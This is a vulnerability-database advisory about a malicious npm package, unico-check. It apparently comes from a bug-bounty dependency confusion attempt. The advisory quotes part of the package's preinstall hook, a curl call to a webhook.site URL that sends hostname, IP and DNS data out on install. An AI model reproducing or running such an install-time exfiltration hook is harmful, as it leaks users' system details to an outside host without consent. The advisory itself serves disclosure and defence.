VDB

GCVE-110-OSM-2026-5981

GCVE-110-OSM-2026-5981
Advisory PublishedCVSS 5.4/10
Vulnetix · Advisory published June 16, 2026
Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -sL --max-time 10 'https://webhook.site/fe1246c2-ac04-4493-b..." DESTINATION - webhookServices: https://webhook.site/fe1246c2-ac04-4493-b223-fe34ba26b79f?pkg=unico-check&host= (exfil, plaintext) EXFIL - OAST/Interactsh Exfiltration in package.json: "webhook.site"
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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

VendorProductVersionsPlatforms
unknownunico-checkall (affected)—

Aliases

MAL-2026-5830

References

Malicious npm package: unico-check
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